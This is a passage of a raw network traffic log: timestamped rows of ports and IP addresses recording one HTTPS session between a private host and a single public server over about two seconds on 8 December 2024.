Dec 8, 2024 01:47:09.581935883 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.581960917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.587294102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.587307930 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.587363005 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.587368965 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.587378025 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.589126110 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.592133045 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.592145920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.592191935 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.592196941 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.592206955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.592241049 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.606481075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.606494904 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.606554985 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.606561899 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.606604099 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.640836954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.640853882 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.640928030 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.640934944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.641067982 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.646203041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.646217108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.646270990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.646275043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.646306992 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.651695013 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.651710987 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.651781082 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.651787043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.651827097 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.656521082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.656536102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.656605959 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.656610966 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.656649113 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.774070978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.774085999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.774149895 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.774154902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.774197102 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.779443979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.779458046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.779512882 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.779517889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.779560089 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.784250975 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.784264088 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.784315109 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.784318924 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.784353018 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.798510075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.798523903 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.798641920 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.798646927 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.798686981 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.833302975 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.833317041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.833412886 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.833417892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.833465099 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.838640928 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.838654995 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.838718891 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.838722944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.838762045 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.843453884 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.843467951 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.843539953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.843544960 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.843585014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.848915100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.848928928 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.848994970 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.848999977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.849042892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.966131926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.966149092 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.966219902 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.966224909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.966263056 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.971506119 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.971519947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.971574068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.971579075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.971612930 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.971627951 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.976325989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.976340055 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.976392984 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.976402044 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.976444960 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.990528107 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.990542889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.990590096 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.990595102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:09.990611076 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:09.990637064 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.025321007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.025338888 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.025516987 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.025521994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.025564909 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.030157089 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.030172110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.030237913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.030244112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.030289888 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.035625935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.035641909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.035684109 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.035689116 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.035712004 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.035732031 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.041002989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.041039944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.041084051 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.041088104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.041104078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.041122913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.158051014 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.158066034 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.158137083 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.158143997 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.158191919 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.163427114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.163444996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.163496017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.163501978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.163552046 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.168955088 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.168972015 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.169017076 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.169023037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.169044018 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.169064045 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.182454109 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.182467937 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.182538986 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.182543993 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.182581902 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.217216015 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.217231035 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.217289925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.217293978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.217360020 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.222609043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.222621918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.222678900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.222682953 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.222702980 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.222727060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.226521969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.226552963 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.226588964 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.226592064 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.226624012 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.231354952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.231369019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.231420994 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.231426954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.276400089 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.348761082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.348769903 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.348798990 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.348819017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.348828077 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.348834038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.348871946 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.354145050 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.354160070 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.354207039 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.354212046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.354252100 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.358982086 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.359002113 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.359055996 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.359061003 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.359102964 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.372957945 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.372977018 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.373022079 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.373028040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.373075962 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.407665968 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.407684088 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.407742977 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.407749891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.407792091 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.413124084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.413139105 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.413189888 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.413194895 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.413235903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.418461084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.418503046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.418534040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.418539047 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.418582916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.423996925 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.424010038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.424046993 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.424052000 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.424088955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.540426970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.540441990 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.540508032 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.540523052 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.540544987 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.540564060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.545881033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.545895100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.545957088 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.545964003 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.545996904 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.551274061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.551290035 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.551336050 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.551342010 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.551382065 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.564873934 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.564893961 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.564959049 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.564963102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.565004110 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.600286007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.600302935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.600358963 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.600363970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.600400925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.605073929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.605088949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.605144024 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.605149984 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.605189085 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.610476017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.610490084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.610538960 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.610543966 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.610583067 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.615968943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.615988970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.616014004 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.616065025 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.616069078 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.616151094 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.733103037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.733119965 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.733208895 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.733217001 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.733269930 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.737965107 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.737979889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.738065004 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.738069057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.738127947 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.743288994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.743304968 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.743396997 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.743402004 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.743452072 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.757272005 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.757291079 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.757344961 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.757349014 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.757402897 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.792332888 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.792346954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.792421103 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.792427063 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.792464972 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.797218084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.797235012 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.797286987 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.797291040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.797333956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.797352076 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.802647114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.802659988 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.802705050 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.802710056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.802745104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.808006048 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.808022022 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.808065891 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.808070898 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.808121920 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.808140993 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.925231934 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.925270081 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.925358057 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.925368071 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.925409079 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.930722952 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.930737019 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.930787086 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.930792093 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.930835962 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.930860043 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.935592890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.935606956 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.935668945 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.935674906 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.935718060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.949173927 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.949187994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.949209929 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.949215889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.949296951 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.949296951 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.984538078 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.984558105 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.984594107 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.984600067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.984622955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.984647036 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.989599943 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.989614010 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.989655972 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.989660978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.989706993 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.989741087 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.994772911 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.994786978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.994858027 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:10.994863033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:10.994909048 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.000185013 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.000199080 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.000261068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.000266075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.000308037 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.000329971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.117185116 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.117202997 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.117242098 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.117249966 CET	443	49979	104.21.26.127	192.168.2.4
